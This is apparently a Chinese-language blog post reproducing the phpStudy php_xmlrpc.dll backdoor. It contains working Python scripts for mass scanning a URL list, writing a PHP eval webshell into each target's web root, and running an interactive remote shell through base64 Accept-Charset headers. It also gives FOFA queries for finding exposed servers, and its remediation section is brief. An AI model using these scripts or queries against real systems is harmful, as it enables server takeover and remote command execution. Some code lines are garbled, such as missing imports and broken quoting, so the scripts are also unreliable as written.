phpStudy后门漏洞利用复现

一、漏洞描述

Phpstudy软件是国内的一款免费的PHP调试环境的程序集成包,通过集成Apache、PHP、MySQL、phpMyAdmin、ZendOptimizer

多款软件一次性安装,无需配置即可直接安装使用,具有PHP环境调试和PHP开发功能,在国内有着近百万PHP语言学习者、开发者用户。

正是这样一款公益性软件,2018年12月4日,西湖区公安分局网警大队接报案称,某公司发现公司内有20余台计算机被执行危险命令,疑似远程控制抓取账号密码等计算机数据 回传大量敏感信息。

二、后门漏洞影响版本

phpStudy2016

phpphp-5.2.17extphp_xmlrpc.dll

phpphp-5.4.45extphp_xmlrpc.dll

phpStudy2018

PHPTutorialphpphp-5.2.17extphp_xmlrpc.dll

PHPTutorialphpphp-5.4.45extphp_xmlrpc.dll

三、漏洞危害

风险等级:高

风险危害:

1.获取服务器权限

2.写入webshell

四、后门漏洞复现流程

Accept-Encoding: gzip,deflate
Accept-Charset: payload(base64编码)

注意:

Accept-Encoding: gzip,deflate
gzip,空格deflate
gzip逗号后面这个空格需要删除,否则无回显

payload也就是我们的php代码,构造要经过base64编码过后再放入

复现过程:

抓取URL请求包,首页即可

然后发送到 Repeater模块测试

这里可以看见前面所说的gzip逗号后面的空格没有删掉

再者Accept-Charset需要自己构造

我们构造一个 system('whoami'); base64编码过后的然后发送过去测试

这里可以看见,执行了whoami

接下来编写我们的 批量POC、EXP、交互shell

五、 Python编写批量POC、EXP、交互shell

批量POC:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# @Author : 白纸书生
# @FileName: phpstudy_poc.py

import requests
import threading

def POC(url):
  headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0',
    'Accept-Encoding': 'gzip,deflate',
    'Accept-Charset': 'c3lzdGVtKCdlY2hvICJsb2NhbDwqKioqPmhvc3QiJyk7'
  }
  try:
    response = requests.get(url=url,headers=headers,timeout=3)
    print(url)
    if response.status_code == 200:
      if ""local<****>host"" in response.text:
        print('存在phpstudy后门漏洞------------',url)
        with open('vulnstudy.txt','a') as f:
          f.write(url+'
')
  except:
    return

if __name__ == '__main__':

  number = int(sys.argv[1])
  count = 0
  for url in open(r'urls.txt'):
    count+=1
    t = threading.Thread(target=POC, args=(url.strip(),)) # 注意传入的参数一定是一个元组!
    t.start()
    if count % number == 0:
      time.sleep(3)

EXP:

  

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# @Author  : 白纸书生
# @FileName: phpstudy_exp.py

import requests

def EXP(url):
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0',
        'Accept-Encoding': 'gzip,deflate',
        'Accept-Charset': 'ZnB1dHMoZm9wZW4oJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS4nL3NoZWxsLnBocCcsJ3cnKSwnPD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pPz4nKTs='
    }
    try:
        response = requests.get(url=url,headers=headers,timeout=3)
        if response.status_code == 200:
            print('Success------------',url+"shell.php")
    except:
        return


if __name__ == '__main__':

    for url in open(r'urls.txt'):
        EXP(url.strip())
exp这里的payload是写入webshell
payload: fputs(fopen($_SERVER['DOCUMENT_ROOT'].'/shell.php','w'),'<?php @eval($_POST[cmd])?>');
通过$_SERVER['DOCUMENT_ROOT'] 获取网站根目录再写入。

交互shell:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# @Author  : 白纸书生
# @FileName: phpstudy_shell.py

import requests
import re
import base64

def SHELL(url):
    try:
        while 1:
            shell = input(">>>")
            shell = "echo "abds";system(""+shell+"");echo "abds";"
            headers = {
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0',
                'Accept-Encoding': 'gzip,deflate',
                'Accept-Charset': base64.b64encode(shell.encode()).decode()
            }
            response = requests.get(url=url,headers=headers,timeout=3)
            text = re.findall(r"abds(.+?)abds",response.text,re.S)
            print(text[0])
            if shell == "0":
                return
    except:
        print("异常")


if __name__ == '__main__':
    url = 'http://localhost/'
    SHELL(url)

回显通过php的echo "abds"; 包裹着 也就是命令被两个字符串包裹着,然后我们通过python正则把它从abds中间提取出来即可

测试结果:

六、通过网络空间引擎批量搜索

这里采用fofa

构造通过返回的server

server="Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.2.17"

server="Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45"

 


感觉准确率不够高的话,可以再加个php探针做限制

七、后门漏洞修复方式

1.更新phpstudy

2.手动删除该dll文件

3.采用火绒等杀毒软件查杀

原文地址:https://www.cnblogs.com/miruier/p/13767957.html